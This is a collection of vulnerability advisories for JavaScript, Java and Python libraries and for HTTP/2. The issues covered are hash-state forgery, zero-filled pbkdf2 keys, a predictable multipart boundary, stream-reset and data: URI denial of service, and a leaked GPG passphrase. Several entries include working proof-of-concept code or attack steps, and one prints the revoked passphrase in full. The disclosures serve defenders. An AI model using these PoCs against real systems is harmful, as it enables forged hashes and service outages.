Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: 1. can observe other values produced by Math.random in the target application, and 2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/formdata.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must: - Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) - Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Summary While rebuilding PMD Designer for Reproducible Builds and digging into issues, I found out that passphrase for gpg.keyname=0xD0BF1D737C9A1C22 is included in jar published to Maven Central.

Details See https://github.com/jvm-repo-rebuild/reproducible-central/blob/master/content/net/sourceforge/pmd/pmd-designer/README.md

I removed 2 lines from https://github.com/jvm-repo-rebuild/reproducible-central/blob/master/content/net/sourceforge/pmd/pmd-designer/pmd-designer-7.0.0.diffoscope but real content is:

├── net/sourceforge/pmd/util/fxdesigner/designer.properties │ @@ -1,14 +1,12 @@ │ #Properties │ checkstyle.plugin.version=3.3.1 │ checkstyle.version=10.14.0 │ -gpg.keyname=0xD0BF1D737C9A1C22 │ -gpg.passphrase=evicx0nuPfvSVhVyeXpw │ jar.plugin.version=3.3.0 │ -java.version=11.0.22 │ +java.version=11.0.25 │ javadoc.plugin.version=3.6.3 │ jflex-output=/home/runner/work/pmd-designer/pmd-designer/target/generated-sources/jflex │ junit5.version=5.8.2 │ kotest.version=5.5.5 │ kotlin.version=1.7.20 │ local.lib.repo=/home/runner/work/pmd-designer/pmd-designer/lib/mvn-repo │ openjfx.scope=provided

PoC ./rebuild.sh content/net/sourceforge/pmd/pmd-designer/pmd-designer-7.0.0.buildspec

Impact After further analysis, the passphrase of the following two keys have been compromised:

1. 94A5 2756 9CAF 7A47 AFCA BDE4 86D3 7ECA 8C2E 4C5B: PMD Designer (Release Signing Key) <releases@pmd-code.org> This key has been used since 2019 with the release of net.sourceforge.pmd:pmd-ui:6.14.0. The following versions are signed with the same key: 6.16.0, 6.17.0, 6.19.0. 2. EBB2 41A5 45CB 17C8 7FAC B2EB D0BF 1D73 7C9A 1C22: PMD Release Signing Key <releases@pmd-code.org> This key has been used since 2020 with the release of net.sourceforge.pmd:pmd-ui:6.21.0 and all the other modules of PMD such as net.sourceforge.pmd:pmd-core:6.21.0. This key has also been used for PMD 7, for the designer, e.g. net.sourceforge.pmd:pmd-designer:7.0.0 and net.sourceforge.pmd:pmd-core:7.0.0. The versions between 6.21.0 and 7.9.0 are signed with this key. Additionally the key has been used to sign the last release of PMD Eclipse Plugin 7.9.0.v20241227-1626-r.

The keys have been used exclusively for signing artifacts that we published to Maven Central under group id net.sourceforge.pmd and once for our pmd-eclipse-plugin. The private key itself is not known to have been compromised itself, but given its passphrase is, it must also be considered potentially compromised.

As a mitigation, both compromised keys have been revoked so that no future use of the keys are possible. For future releases of PMD, PMD Designer and PMD Eclipse Plugin we use a new release signing key: 2EFA 55D0 785C 31F9 56F2 F87E A0B5 CA1A 4E08 6838 (PMD Release Signing Key <releases@pmd-code.org>).

Note, that the published artifacts in Maven Central under the group id net.sourceforge.pmd are not compromised and the signatures are valid. No other past usages of the private key is known to the project and no future use is possible due to the revocation. If anybody finds a past abuse of the private key, please share with us.

Note, the module net.sourceforge.pmd:pmd-ui has been renamed to net.sourceforge.pmd:pmd-designer since PMD 7, so there won't be a fixed version for pmd-ui.

Fixes Reworked build script in PMD Designer to not include all system properties https://github.com/pmd/pmd-designer/commit/1548f5f27ba2981b890827fecbd0612fa70a0362 https://github.com/pmd/pmd-designer/commit/e87a45312753ec46b3e5576c6f6ac1f7de2f5891

References

GHSA-88m4-h43f-wx84 CVE-2025-23215 reproducible-central

Summary

This affects both: 1. Unsupported algos (e.g. sha3-256 / sha3-512 / sha512-256) 2. Supported but non-normalized algos (e.g. Sha256 / Sha512 / SHA1 / sha-1 / sha-256 / sha-512)

All of those work correctly in Node.js, but this polyfill silently returns highly predictable ouput

Under Node.js (only with pbkdf2/browser import, unlikely) / Bun (pbkdf2 top-level import is affected), the memory is not zero-filled but is uninitialized, as Buffer.allocUnsafe is used

Under browsers, it just returns zero-filled buffers (Which is also critical, those are completely unacceptable as kdf output and ruin security)

Were you affected?

The full list of arguments that were not affected were literal: 'md5' 'sha1' 'sha224' 'sha256' 'sha384' 'sha512' 'rmd160' 'ripemd160'

Any other arguments, e.g. representation variations of the above ones like 'SHA-1'/'sha-256'/'SHA512' or different algos like 'sha3-512'/'blake2b512', while supported on Node.js crypto module, returned predictable output on pbkdf2 (or crypto browser/bundlers polyfill)

---

Beware of packages re-exporting this under a different signature, like (abstract): js const crypto = require('crypto') module.exports.deriveKey = (algo, pass, salt) => crypto.pbkdf2Sync(pass, salt, 2048, 64, algo)

In this case, the resulting deriveKey method is also affected (to the same extent / conditions as listed here).

Environments

This affects require('crypto') in polyfilled mode (e.g. from crypto-browserify, node-libs-browser, vite-plugin-node-polyfills, node-stdlib-browser, etc. -- basically everything that bundles/polfyills crypto

In bundled code (e.g. Webpack / Vite / whatever), this affects require('crypto') and require('pbkdf2') On Node.js, this does not affect require('pbkdf2') (or require('crypto') obviously), but affects require('pbkdf2/browser') On Bun, this does affect require('pbkdf2') and require('pbkdf2/browser') (and returns uninitialized memory, often zeros / sparse flipped bytes)

PoC js const node = require('crypto') const polyfill = require('pbkdf2/browser')

const algos = [ 'sha3-512', 'sha3-256', 'SHA3-384', 'Sha256', 'Sha512', 'sha512-256', 'SHA1', 'sha-1', 'blake2b512', 'RMD160', 'RIPEMD-160', 'ripemd-160', ] for (const algo of algos) { for (const { pbkdf2Sync } of [node, polyfill]) { const key = pbkdf2Sync('secret', 'salt', 100000, 64, algo) console.log(${algo}: ${key.toString('hex')}); } }

Output (odd lines are Node.js, even is pbkdf2 module / polyfill): sha3-512: de00370414a3251d6d620dc8f7c371644e5d7f365ab23b116298a23fa4077b39deab802dd61714847a5c7e9981704ffe009aee5bb40f6f0103fc60f3d4cedfb0 sha3-512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 sha3-256: 76bf06909b91e4c968700078ee36af92019d0839ab1fea2f345c6c8685074ca0179302633fbd84d22cff4f8744952b2d07edbfc9658e95d30fb4e93ee067c7c9 sha3-256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 SHA3-384: 2b2b41b73f9b7bcd023f709ea84ba3c29a88edc311b737856ba9e74a2d9a928f233eb8cb404a9ba93c276edf6380c692140024a0bc12b75bfa38626207915e01 SHA3-384: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Sha256: 3fa094211c0cf2ed1d332ab43adc69aab469f0e0f2cae6345c81bb874eef3f9eb2c629052ec272ca49c2ee95b33e7ba6377b2317cd0dacce92c4748d3c7a45f0 Sha256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Sha512: 3745e482c6e0ade35da10139e797157f4a5da669dad7d5da88ef87e47471cc47ed941c7ad618e827304f083f8707f12b7cfdd5f489b782f10cc269e3c08d59ae Sha512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 sha512-256: e423f61987413121418715d0ebf64cb646042ae9a09fe4fd2c764a4f186ba28cf70823fdc2b03dda67a0d977c6f0a0612e5ed74a11e6f32b033cb658fa9f270d sha512-256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 SHA1: 0e24bc5a548b236e3eb3b22317ef805664a88747c725cd35bfb0db0e4ae5539e3ed5cd5ba8c0ac018deb6518059788c8fffbe624f614fbbe62ba6a6e174e4a72 SHA1: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 sha-1: 0e24bc5a548b236e3eb3b22317ef805664a88747c725cd35bfb0db0e4ae5539e3ed5cd5ba8c0ac018deb6518059788c8fffbe624f614fbbe62ba6a6e174e4a72 sha-1: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 blake2b512: d3d661100c5ffb79bdf3b5c77d1698e621414cba40e2348bd3f1b10fbd2fe97bff4dc7d76474955bfefa61179f2a37e9dddedced0e7e79ef9d8c678080d45926 blake2b512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 RMD160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2 RMD160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 RIPEMD-160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2 RIPEMD-160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ripemd-160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2 ripemd-160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Uninitialized memory

js const { pbkdf2Sync } = require('pbkdf2/browser') // or just 'pbkdf2' on Bun will do this too

let prev for (let i = 0; i < 100000; i++) { const key = pbkdf2Sync('secret', 'salt', 100000, 64, 'sha3-256') const hex = key.toString('hex') if (hex !== prev) console.log(hex); prev = hex }

Affected versions

Seems to be since https://github.com/browserify/pbkdf2/commit/9699045c37a07f8319cfb8d44e2ff4252d7a7078

Impact

This is critical, browserifying code might silently generate zero-filled keys instead of proper ones, for code that was working on Node.js or in test environment

Just updating to a fixed version is not enough: if anyone was using pbkdf2 lib (e.g. via crypto-browserify or directly) on algos not from the literal string list (see "were you affected"), recheck where those keys went / how they were used, and take action accordingly

Note

Most likely, you receive this either through a subdep using pbkdf2 module directly (and then it is used), or through crypto-browserify (and the usage depends on whether you or any of your subdeps were calling pbkdf2/pbkdf2Sync methods from Node.js crypto inside your bundle)

When targeting non-Node.js, prever avoiding Node.js crypto polyfill at all, and use crypto.subtle and/or modern/audited cryptography primitives instead

Summary

On historic but declared as supported Node.js versions (0.12-2.x), pbkdf2 silently disregards Uint8Array input

This only affects Node.js <3.0.0, but pbkdf2 claims to: Support Node.js >= 0.12 (and there seems to be ongoing effort in this repo to maintain that) Support Uint8Array input (input is typechecked against Uint8Array, and the error message includes e.g. "Password must be a string, a Buffer, a typed array or a DataView"

Details

The error is in toBuffer method

This vulnerability somehow even made it to tests: https://github.com/browserify/pbkdf2/commit/eb9f97a66ed83836bebc4ff563a1588248708501 There, resultsOld (where mismatch results) are just invalid output generated from empty password/salt instead of the supplied one

PoC

On Node.js/io.js < 3.0.0

console require('pbkdf2').pbkdf2Sync(new Uint8Array([1,2,3]), new Uint8Array([1,3,4]), 1024, 32, 'sha256') <Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>

// But that's just a hash of empty data with empty password: require('pbkdf2').pbkdf2Sync('', '', 1024, 32, 'sha256') <Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>

// Node.js crypto is fine even on that version: require('crypto').pbkdf2Sync(new Uint8Array([1,2,3]), new Uint8Array([1,3,4]), 1024, 32, 'sha256') <Buffer 78 10 cc 84 b7 bb 85 cd c8 37 ca 68 da a9 4c 33 db ae c2 3d 5b d4 95 76 da 33 f9 95 ac 51 f4 45>

// Empty hash from Node.js, for comparison require('crypto').pbkdf2Sync('', '', 1024, 32, 'sha256') <Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>

Impact

Static hashes being outputted and used as keys/passwords can completely undermine security That said, no one should be using those Node.js versions anywhere now, so I would recommend to just drop them This lib should not pretend to work on those versions while outputting static data though

Just updating to a fixed version is not enough: if anyone was using pbkdf2 lib (do not confuse with Node.js crypto.pbkdf2) or anything depending on it with Node.js/io.js < 3.0.0, recheck where those keys went / how they were used, and take action accordingly

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe

This works with: js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh) 6. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe

Or just: console require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

Formidable (aka node-formidable) 2.1.0 through 3.x before 3.5.3 relies on hexoid to prevent guessing of filenames for untrusted executable content; however, hexoid is documented as not "cryptographically secure." (Also, there is a scenario in which only the last two characters of a hexoid string need to be guessed, but this is not often relevant.) NOTE: this does not imply that, in a typical use case, attackers will be able to exploit any hexoid behavior to upload and execute their own content.

Improper Access Control vulnerability in Apache Commons.

The HTTP client leaks sensitive information when redirecting to a different domain.

Description of Vulnerability:

An issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rdssuperuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.

AWS recommends customers upgrade to the following versions: AWS Python Wrapper to v1.4.0

Source of Vulnerability Report: Allistair Ishmael Hakim <allistair.hakim@gmail.com>

Affected products & versions: AWS Python Wrapper < 1.4.0

Platforms: MacOS/Windows/Linux

Summary Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit.

Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com

Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOLBUFFERSPYTHONIMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default.

This is a Python variant of a previous issue affecting protobuf-java.

Severity This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker.

Proof of Concept For reproduction details, please refer to the unit tests decodertest.py and messagetest

Remediation and Mitigation A mitigation is available now. Please update to the latest available versions of the following packages: protobuf-python(4.25.8, 5.29.5, 6.31.1)

Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”

MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.

Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RSTSTREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOWUPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the ENDSTREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RSTSTREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RSTSTREAM, and some implementations send GOAWAY when receiving a WINDOWUPDATE frame with increment of 0.

The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGSMAXCONCURRENTSTREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.

Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RSTSTREAM.

Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with ENDSTREAM flag on a new stream X. 3. Attacker sends WINDOWUPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOWUPDATE and immediately sends RSTSTREAM for stream X to the client (+ decreases the active streams counter by 1).

The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)

Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RSTSTREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RSTSTREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RSTSTREAM.

Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RSTSTREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOWUPDATE and PRIORITY), and treat protocol flow errors as a connection error.

As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.

If you have any questions, we will be happy to clarify or schedule a Zoom call.

Gal, Anat and Yaniv.

Improper input validation in JDBC Driver for SQL Server allows an unauthorized attacker to perform spoofing over a network.

Original Report

In Eclipse Jetty versions 12.0.0 to 12.0.16 included, an HTTP/2 client can specify a very large value for the HTTP/2 settings parameter SETTINGSMAXHEADERLISTSIZE. The Jetty HTTP/2 server does not perform validation on this setting, and tries to allocate a ByteBuffer of the specified capacity to encode HTTP responses, likely resulting in OutOfMemoryError being thrown, or even the JVM process exiting.

Impact Remote peers can cause the JVM to crash or continuously report OOM.

Patches 12.0.17

Workarounds No workarounds.

References https://github.com/jetty/jetty.project/issues/12690

image-size is vulnerable to a Denial-of-Service vulnerability when processing specially crafted images.

Allocation of resources for multipart headers with insufficient limits enabled a DoS vulnerability in Apache Commons FileUpload.

This issue affects Apache Commons FileUpload: from 1.0 before 1.6; from 2.0.0-M1 before 2.0.0-M4.

Users are recommended to upgrade to versions 1.6 or 2.0.0-M4, which fix the issue.

A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the huggingface/transformers repository, specifically in version 4.49.0. The vulnerability is due to inefficient regular expression complexity in the SETTINGRE variable within the transformers/commands/chat.py file. The regex contains repetition groups and non-optimized quantifiers, leading to exponential backtracking when processing 'almost matching' payloads. This can degrade application performance and potentially result in a denial-of-service (DoS) when handling specially crafted input strings. The issue is fixed in version 4.51.0.

IBM WebSphere Application Server 9.0 and WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.7 are vulnerable to a denial of service, caused by a stack-based overflow. An attacker can send a specially crafted request that cause the server to consume excessive memory resources.

IBM WebSphere Application Server 9.0 and WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.7 could allow a remote attacker to bypass security restrictions caused by a failure to honor security configuration.

IBM WebSphere Application Server Liberty 17.0.0.3 through 25.0.0.8 could allow a remote attacker to bypass security restrictions caused by a failure to honor JMS messaging configuration

IBM WebSphere Application Server Liberty 18.0.0.2 through 25.0.0.8 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); }

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATAURLPATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); }

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

js const axios = require('axios');

async function main() { // this example decodes ~120 MB const base64Size = 160000000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64;

console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' });

console.log('Received bytes:', response.data.length); }

main().catch(err => { console.error('Error:', err.message); });

Run with limited heap to force a crash:

bash node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … …

Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream";

const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 });

const app = express(); const PORT = Number(process.env.PORT || 8081); const BODYLIMIT = process.env.MAXCLIENTBODY || "50mb";

app.use(express.json({ limit: BODYLIMIT })); app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/ POST /preview { "url": "<http|https|data URL>" } Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). /

app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" });

let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

// Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose);

const before = process.memoryUsage().heapUsed;

try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 1024, // Axios will ignore this for data: maxBodyLength: 8 1024, // Axios will ignore this for data: signal: controller.signal });

// stream only the first 64KB back const cap = 64 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e));

